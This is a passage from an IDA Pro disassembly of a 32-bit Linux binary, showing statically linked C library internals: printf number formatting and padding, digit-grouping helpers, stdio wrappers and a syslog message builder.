		cmp	[ebp+var_10], 0
		jz	short loc_80549A0
		mov	byte ptr [ebp+var_A4], 2Dh

loc_80549A0:				; CODE XREF: sub_8053310+1687j
		mov	al, byte ptr [ebp+var_A4]
		mov	[esi], al
		mov	[ebp+var_A0], 0Ah
		mov	edx, [ebp+var_A0]
		cmp	[ebp+var_18], edx
		jl	short loc_80549DA
		lea	esi, [esi+0]

loc_80549C0:				; CODE XREF: sub_8053310+16C8j
		mov	ecx, [ebp+var_A0]
		lea	ecx, [ecx+ecx*8]
		add	[ebp+var_A0], ecx
		mov	eax, [ebp+var_A0]
		cmp	[ebp+var_18], eax
		jge	short loc_80549C0

loc_80549DA:				; CODE XREF: sub_8053310+16ABj
		cmp	[ebp+var_18], 9
		jg	short loc_80549E8
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_8054A29
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80549E8:				; CODE XREF: sub_8053310+16CEj
					; sub_8053310+1717j
		mov	eax, [ebp+var_A0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp+var_A0], eax
		mov	esi, [ebp+var_18]
		mov	eax, esi
		cdq
		idiv	[ebp+var_A0]
		mov	esi, eax
		add	al, 30h
		mov	[ebx], al
		inc	ebx
		mov	esi, [ebp+var_18]
		mov	eax, esi
		cdq
		idiv	[ebp+var_A0]
		mov	esi, edx
		mov	[ebp+var_18], esi
		cmp	[ebp+var_A0], 0Ah
		jg	short loc_80549E8

loc_8054A29:				; CODE XREF: sub_8053310+16D4j
		mov	cl, byte ptr [ebp+var_18]
		add	cl, 30h
		mov	[ebx], cl
		inc	ebx

loc_8054A32:				; CODE XREF: sub_8053310+166Dj
		cmp	[ebp+var_3C], 0
		jnz	short loc_8054A47
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_8054A47
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_8054A4A

loc_8054A47:				; CODE XREF: sub_8053310+1726j
					; sub_8053310+172Fj
		dec	[ebp+var_78]

loc_8054A4A:				; CODE XREF: sub_8053310+1735j
		mov	edx, ebx
		sub	edx, edi
		sub	[ebp+var_78], edx
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_8054A8C
		cmp	byte ptr [ecx+2Ch], 30h
		jz	short loc_8054A8C
		cmp	[ebp+var_78], 0
		jle	short loc_8054A8C
		mov	eax, [ebp+var_78]
		push	eax
		movzx	edx, byte ptr [ecx+2Ch]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	_IO_padn
		mov	esi, eax
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054A8C:				; CODE XREF: sub_8053310+1748j
					; sub_8053310+174Ej ...
		cmp	[ebp+var_3C], 0
		jz	short loc_8054ACC
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8054AB8
		push	2Dh
		push	ecx

loc_8054AA3:				; CODE XREF: sub_8053310+17D6j
					; sub_8053310+1806j
		call	sub_8061910
		mov	esi, eax
		add	esp, 8
		cmp	esi, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054AB8:				; CODE XREF: sub_8053310+178Ej
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	byte ptr [eax],	2Dh
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054ACC:				; CODE XREF: sub_8053310+1780j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_8054AFC
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	edx, [ebp+arg_0]
		cmp	[edx+18h], eax
		ja	short loc_8054AE8
		push	2Bh
		push	edx
		jmp	short loc_8054AA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054AE8:				; CODE XREF: sub_8053310+17D1j
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	byte ptr [ecx],	2Bh
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+14h]
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054AFC:				; CODE XREF: sub_8053310+17C3j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_8054B2A
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+18h], ecx
		ja	short loc_8054B18
		push	20h
		push	eax
		jmp	short loc_8054AA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054B18:				; CODE XREF: sub_8053310+1801j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	byte ptr [edx],	20h
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+14h]

loc_8054B27:				; CODE XREF: sub_8053310+17A6j
					; sub_8053310+17B7j ...
		inc	[ebp+var_5C]

loc_8054B2A:				; CODE XREF: sub_8053310+17F3j
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_8054B5E
		cmp	byte ptr [eax+2Ch], 30h
		jnz	short loc_8054B5E
		cmp	[ebp+var_78], 0
		jle	short loc_8054B5E
		mov	edx, [ebp+var_78]
		push	edx
		push	30h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	_IO_padn
		mov	esi, eax
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054B5E:				; CODE XREF: sub_8053310+1821j
					; sub_8053310+1827j ...
		sub	ebx, edi
		cmp	ebx, 14h
		jle	short loc_8054BE3
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+50h]
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [edx+34h]
		call	eax
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_8054BD6
		add	[ebp+var_5C], ebx
		jmp	short loc_8054BEA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054B84:				; CODE XREF: sub_8053310+18D8j
		movzx	esi, byte ptr [edi]
		inc	edi
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8054BB4
		mov	eax, esi
		movzx	esi, al
		mov	[ebp+var_9C], esi
		push	esi
		push	ecx
		call	sub_8061910
		mov	esi, eax
		add	esp, 8
		cmp	esi, 0FFFFFFFFh
		jz	short loc_8054BD6
		jmp	short loc_8054BE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054BB4:				; CODE XREF: sub_8053310+1884j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, esi
		mov	byte ptr [ebp+var_A0], cl
		mov	[edx], cl
		movzx	eax, byte ptr [ebp+var_A0]
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8054BE0

loc_8054BD6:				; CODE XREF: sub_8053310+266j
					; sub_8053310+293j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8054C1B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054BE0:				; CODE XREF: sub_8053310+18A2j
					; sub_8053310+18C4j
		inc	[ebp+var_5C]

loc_8054BE3:				; CODE XREF: sub_8053310+1853j
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jnz	short loc_8054B84

loc_8054BEA:				; CODE XREF: sub_8053310+1872j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jz	short loc_8054C18
		cmp	[ebp+var_78], 0
		jle	short loc_8054C18
		mov	eax, [ebp+var_78]
		push	eax
		movzx	edx, byte ptr [ecx+2Ch]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	_IO_padn
		mov	ebx, eax
		cmp	[ebp+var_78], ebx
		jnz	short loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054C18:				; CODE XREF: sub_8053310+387j
					; sub_8053310+38Fj ...
		mov	eax, [ebp+var_5C]

loc_8054C1B:				; CODE XREF: sub_8053310+18CBj
		lea	esp, [ebp+var_164]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8053310	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054C28	proc near		; CODE XREF: sub_8053310+1252p
					; sub_8054C7C+15p

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx],	0FFh
		jz	short loc_8054C40
		cmp	byte ptr [edx],	0
		jnz	short loc_8054C58

loc_8054C40:				; CODE XREF: sub_8054C28+11j
		xor	eax, eax
		jmp	short loc_8054C73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C44:				; CODE XREF: sub_8054C28+40j
		movzx	edx, byte ptr [edx-1]
		mov	[ebp+var_4], edx
		mov	eax, ecx
		xor	edx, edx
		div	[ebp+var_4]
		mov	ecx, eax
		add	ebx, ecx
		jmp	short loc_8054C71
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C58:				; CODE XREF: sub_8054C28+16j
		xor	ebx, ebx
		jmp	short loc_8054C6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C5C:				; CODE XREF: sub_8054C28+47j
		inc	ebx
		sub	ecx, esi
		inc	edx
		cmp	byte ptr [edx],	0FFh
		jz	short loc_8054C71
		cmp	byte ptr [edx],	0
		jz	short loc_8054C44

loc_8054C6A:				; CODE XREF: sub_8054C28+32j
		movzx	esi, byte ptr [edx]
		cmp	ecx, esi
		ja	short loc_8054C5C

loc_8054C71:				; CODE XREF: sub_8054C28+2Ej
					; sub_8054C28+3Bj
		mov	eax, ebx

loc_8054C73:				; CODE XREF: sub_8054C28+1Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054C28	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054C7C	proc near		; CODE XREF: sub_8053310+165Fp

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_10]
		push	ebx
		push	edi
		push	esi
		call	sub_8054C28
		mov	[ebp+var_4], eax
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_8054CA8
		mov	eax, [ebp+arg_4]
		jmp	loc_8054DAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054CA8:				; CODE XREF: sub_8054C7C+22j
		mov	ebx, [ebp+arg_0]
		add	ebx, esi
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		push	eax
		push	ebx
		add	ebx, [ebp+var_4]
		push	ebx
		call	memmove
		lea	edx, [ebx-1]

loc_8054CC0:				; CODE XREF: sub_8054C7C+C2j
		movzx	ecx, byte ptr [edi]
		inc	edi
		mov	eax, ecx
		neg	eax
		and	eax, 3
		test	ecx, ecx
		jle	short loc_8054CF3
		test	eax, eax
		jz	short loc_8054D00
		cmp	eax, 3
		jge	short loc_8054CF3
		cmp	eax, 2
		jge	short loc_8054CE8
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx

loc_8054CE8:				; CODE XREF: sub_8054C7C+5Fj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx

loc_8054CF3:				; CODE XREF: sub_8054C7C+51j
					; sub_8054C7C+5Aj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx
		jz	short loc_8054D28

loc_8054D00:				; CODE XREF: sub_8054C7C+55j
					; sub_8054C7C+AAj
		mov	ebx, [ebp+arg_0]
		mov	al, [ebx+esi-1]
		mov	[edx], al
		mov	al, [ebx+esi-2]
		mov	[edx-1], al
		mov	al, [ebx+esi-3]
		mov	[edx-2], al
		add	esi, 0FFFFFFFCh
		mov	al, [esi+ebx]
		mov	[edx-3], al
		add	edx, 0FFFFFFFCh
		add	ecx, 0FFFFFFFCh
		jnz	short loc_8054D00

loc_8054D28:				; CODE XREF: sub_8054C7C+82j
		mov	al, byte ptr [ebp+arg_10]
		mov	[edx], al
		dec	edx
		cmp	byte ptr [edi],	0FFh
		jz	short loc_8054D40
		cmp	byte ptr [edi],	0
		jnz	short loc_8054D39
		dec	edi

loc_8054D39:				; CODE XREF: sub_8054C7C+BAj
		movzx	eax, byte ptr [edi]
		cmp	esi, eax
		ja	short loc_8054CC0

loc_8054D40:				; CODE XREF: sub_8054C7C+B5j
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		and	eax, 3
		cmp	[ebp+arg_0], edx
		jge	short loc_8054D6F
		test	eax, eax
		jz	short loc_8054D80
		cmp	eax, 3
		jge	short loc_8054D6F
		cmp	eax, 2
		jge	short loc_8054D65
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx

loc_8054D65:				; CODE XREF: sub_8054C7C+DDj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx

loc_8054D6F:				; CODE XREF: sub_8054C7C+CFj
					; sub_8054C7C+D8j
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		cmp	edx, ebx
		jbe	short loc_8054DA7
		lea	esi, [esi+0]

loc_8054D80:				; CODE XREF: sub_8054C7C+D3j
					; sub_8054C7C+129j
		mov	ebx, [ebp+arg_0]
		mov	al, [ebx+esi-1]
		mov	[edx], al
		mov	al, [ebx+esi-2]
		mov	[edx-1], al
		mov	al, [ebx+esi-3]
		mov	[edx-2], al
		add	esi, 0FFFFFFFCh
		mov	al, [esi+ebx]
		mov	[edx-3], al
		add	edx, 0FFFFFFFCh
		cmp	edx, ebx
		ja	short loc_8054D80

loc_8054DA7:				; CODE XREF: sub_8054C7C+FFj
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]

loc_8054DAD:				; CODE XREF: sub_8054C7C+27j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054C7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054DB8	proc near		; CODE XREF: _setprotoent+2Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_8054DD0

loc_8054DC2:				; CODE XREF: sub_8054DB8+24j
		mov	errno, 16h
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054DD0:				; CODE XREF: sub_8054DB8+8j
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jnz	short loc_8054DC2
		push	3
		push	0
		push	0
		push	edx
		call	_IO_seekoff
		mov	esp, ebp
		pop	ebp
		retn
sub_8054DB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054DF0	proc near		; CODE XREF: __hostalias+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	400h
		push	eax
		push	edx
		call	_IO_setbuffer
		mov	esp, ebp
		pop	ebp
		retn
sub_8054DF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000047 BYTES: COLLAPSED FUNCTION register_printf_function.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054E54	proc near		; CODE XREF: sub_8054EC8+366p
					; .text:08055379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_8078894
		push	eax
		call	__libc_close
		mov	dword_8078894, 0FFFFFFFFh
		mov	ds:dword_807AC58, 0
		test	ebx, ebx
		jz	short loc_8054EA6
		mov	dword_8078898, 0
		mov	dword_807889C, offset aSyslog ;	"syslog"
		mov	dword_80788A0, 8
		mov	dword_80788A4, 0FFh

loc_8054EA6:				; CODE XREF: sub_8054E54+28j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8054E54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054EB0	proc near		; CODE XREF: sub_804B800+280p
					; sub_804B800+3CEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ecx
		call	sub_8054EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_8054EB0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8054EC8	proc near		; CODE XREF: sub_8054EB0+Fp

var_C30		= byte ptr -0C30h
var_C24		= byte ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= dword	ptr -0C14h
var_C10		= dword	ptr -0C10h
var_C0C		= dword	ptr -0C0Ch
var_C08		= dword	ptr -0C08h
var_C04		= byte ptr -0C04h
var_C00		= byte ptr -0C00h
var_802		= byte ptr -802h
var_801		= byte ptr -801h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edx, errno
		mov	[ebp+var_C1C], edx
		mov	ecx, esi
		and	ecx, 7
		mov	eax, dword_80788A4
		sar	eax, cl
		test	al, 1
		jz	loc_80552A1
		test	esi, 0FFFFFC00h
		jnz	loc_80552A1
		cmp	dword_8078894, 0
		jl	short loc_8054F15
		cmp	ds:dword_807AC58, 0
		jnz	short loc_8054F2D

loc_8054F15:				; CODE XREF: sub_8054EC8+42j
		push	0
		mov	eax, dword_8078898
		or	al, 8
		push	eax
		mov	eax, dword_807889C
		push	eax
		call	sub_80552B0
		add	esp, 0Ch

loc_8054F2D:				; CODE XREF: sub_8054EC8+4Bj
		test	esi, 3F8h
		jnz	short loc_8054F3B
		or	esi, dword_80788A0

loc_8054F3B:				; CODE XREF: sub_8054EC8+6Bj
		lea	ebx, [ebp+var_C04]
		push	ebx
		call	__libc_time
		push	ebx
		call	sub_805B548
		add	eax, 4
		push	eax
		push	esi
		push	offset aD_15s	; "<%d>%.15s "
		push	800h
		lea	ebx, [ebp+var_800]
		push	ebx
		call	snprintf
		mov	esi, ebx
		add	esp, 1Ch
		cmp	[ebp+var_800], 0
		jz	short loc_8054F7E
		lea	esi, [esi]

loc_8054F78:				; CODE XREF: sub_8054EC8+B4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054F78

loc_8054F7E:				; CODE XREF: sub_8054EC8+ACj
		test	byte ptr dword_8078898,	20h
		jz	short loc_8054F8D
		mov	[ebp+var_C20], esi

loc_8054F8D:				; CODE XREF: sub_8054EC8+BDj
		cmp	dword_807889C, 0
		jz	short loc_8054FB2
		mov	eax, dword_807889C
		push	eax
		push	esi
		call	strcpy
		add	esp, 8
		cmp	byte ptr [esi],	0
		jz	short loc_8054FB2
		lea	esi, [esi]

loc_8054FAC:				; CODE XREF: sub_8054EC8+E8j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054FAC

loc_8054FB2:				; CODE XREF: sub_8054EC8+CCj
					; sub_8054EC8+E0j
		test	byte ptr dword_8078898,	1
		jz	short loc_8054FE2
		call	__libc_getpid
		push	eax
		push	offset aD	; "[%d]"
		mov	eax, ebp
		sub	eax, esi
		push	eax
		push	esi
		call	snprintf
		add	esp, 10h
		cmp	byte ptr [esi],	0
		jz	short loc_8054FE2
		lea	esi, [esi+0]

loc_8054FDC:				; CODE XREF: sub_8054EC8+118j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054FDC

loc_8054FE2:				; CODE XREF: sub_8054EC8+F1j
					; sub_8054EC8+10Fj
		cmp	dword_807889C, 0
		jz	short loc_8054FF6
		mov	byte ptr [esi],	3Ah
		inc	esi
		mov	byte ptr [esi],	20h
		inc	esi
		mov	byte ptr [esi],	0

loc_8054FF6:				; CODE XREF: sub_8054EC8+121j
		lea	ebx, [ebp+var_C00]
		jmp	loc_8055108
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055004:				; CODE XREF: sub_8054EC8+24Dj
		lea	eax, [ebp+var_801]
		cmp	ebx, eax
		jnb	loc_805511B
		cmp	[ebp+var_C24], 25h
		jnz	loc_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 25h
		jnz	short loc_8055074
		lea	eax, [ebp+var_802]
		cmp	ebx, eax
		jnb	short loc_8055044
		mov	byte ptr [ebx],	25h
		inc	ebx
		mov	byte ptr [ebx],	25h
		inc	ebx
		inc	edx
		mov	[ebp+arg_4], edx
		jmp	loc_8055105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055044:				; CODE XREF: sub_8054EC8+168j
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	loc_805511B
		lea	esi, [esi]

loc_8055068:				; CODE XREF: sub_8054EC8+1A4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8055068
		jmp	loc_805511B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055074:				; CODE XREF: sub_8054EC8+15Ej
		cmp	[ebp+var_C24], 25h
		jnz	short loc_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 6Dh
		jnz	short loc_80550FC
		inc	edx
		mov	[ebp+arg_4], edx
		mov	eax, ebp
		sub	eax, ebx
		lea	edi, [eax-800h]
		mov	edx, [ebp+var_C1C]
		push	edx
		call	sub_80566A4
		push	eax
		push	offset aS	; "%s"
		push	edi
		push	ebx
		call	snprintf
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80550B9
		cmp	eax, edi
		jle	short loc_80550EC

loc_80550B9:				; CODE XREF: sub_8054EC8+1EBj
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_80550DE
		nop

loc_80550D8:				; CODE XREF: sub_8054EC8+214j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_80550D8

loc_80550DE:				; CODE XREF: sub_8054EC8+20Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_805511B
		nop

loc_80550E4:				; CODE XREF: sub_8054EC8+220j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80550E4
		jmp	short loc_805511B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80550EC:				; CODE XREF: sub_8054EC8+1EFj
		cmp	byte ptr [ebx],	0
		jz	short loc_8055105
		lea	esi, [esi+0]

loc_80550F4:				; CODE XREF: sub_8054EC8+230j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80550F4
		jmp	short loc_8055105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80550FC:				; CODE XREF: sub_8054EC8+151j
					; sub_8054EC8+1B3j ...
		mov	dl, [ebp+var_C24]
		mov	[ebx], dl
		inc	ebx

loc_8055105:				; CODE XREF: sub_8054EC8+176j
					; sub_8054EC8+227j ...
		inc	[ebp+arg_4]

loc_8055108:				; CODE XREF: sub_8054EC8+134j
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		mov	[ebp+var_C24], dl
		test	dl, dl
		jnz	loc_8055004

loc_805511B:				; CODE XREF: sub_8054EC8+144j
					; sub_8054EC8+198j ...
		mov	byte ptr [ebx],	0
		cmp	[ebp+var_C24], 0
		jz	short loc_805514E
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_805514E
		lea	esi, [esi+0]

loc_8055148:				; CODE XREF: sub_8054EC8+284j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8055148

loc_805514E:				; CODE XREF: sub_8054EC8+25Dj
					; sub_8054EC8+27Bj
		mov	edi, ebp
		sub	edi, esi
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C00]
		push	eax
		push	edi
		push	esi
		call	vsnprintf
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8055170
		cmp	eax, edi
		jle	short loc_805518D

loc_8055170:				; CODE XREF: sub_8054EC8+2A2j
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		jmp	short loc_805518D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805518C:				; CODE XREF: sub_8054EC8+2C8j
		inc	esi

loc_805518D:				; CODE XREF: sub_8054EC8+2A6j
					; sub_8054EC8+2C1j
		cmp	byte ptr [esi],	0
		jnz	short loc_805518C
		lea	eax, [ebp+var_800]
		sub	esi, eax
		mov	[ebp+var_C18], esi
		test	byte ptr dword_8078898,	20h
		jz	short loc_80551EE
		mov	edx, [ebp+var_C20]
		mov	[ebp+var_C14], edx
		sub	edx, eax
		mov	eax, edx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		mov	[ebp+var_C10], edx
		mov	[ebp+var_C0C], offset asc_8067FB3 ; "\n"
		mov	[ebp+var_C08], 1
		push	2
		lea	eax, [ebp+var_C14]
		push	eax
		push	2
		call	__writev
		add	esp, 0Ch

loc_80551EE:				; CODE XREF: sub_8054EC8+2DFj
		lea	esi, [ebp+var_800]
		mov	ebx, [ebp+var_C18]
		add	ebx, esi

loc_80551FC:				; CODE XREF: sub_8054EC8+374j
		mov	eax, ebx
		sub	eax, esi
		inc	eax
		push	eax
		push	esi
		mov	eax, dword_8078894
		push	eax
		call	__libc_write
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8055238
		cmp	errno, 0Bh
		jz	short loc_8055227
		cmp	errno, 4
		jnz	short loc_805522C

loc_8055227:				; CODE XREF: sub_8054EC8+354j
		xor	eax, eax
		jmp	short loc_8055238
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805522C:				; CODE XREF: sub_8054EC8+35Dj
		push	0
		call	sub_8054E54
		add	esp, 4
		jmp	short loc_805523E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055238:				; CODE XREF: sub_8054EC8+34Bj
					; sub_8054EC8+361j
		add	esi, eax
		cmp	esi, ebx
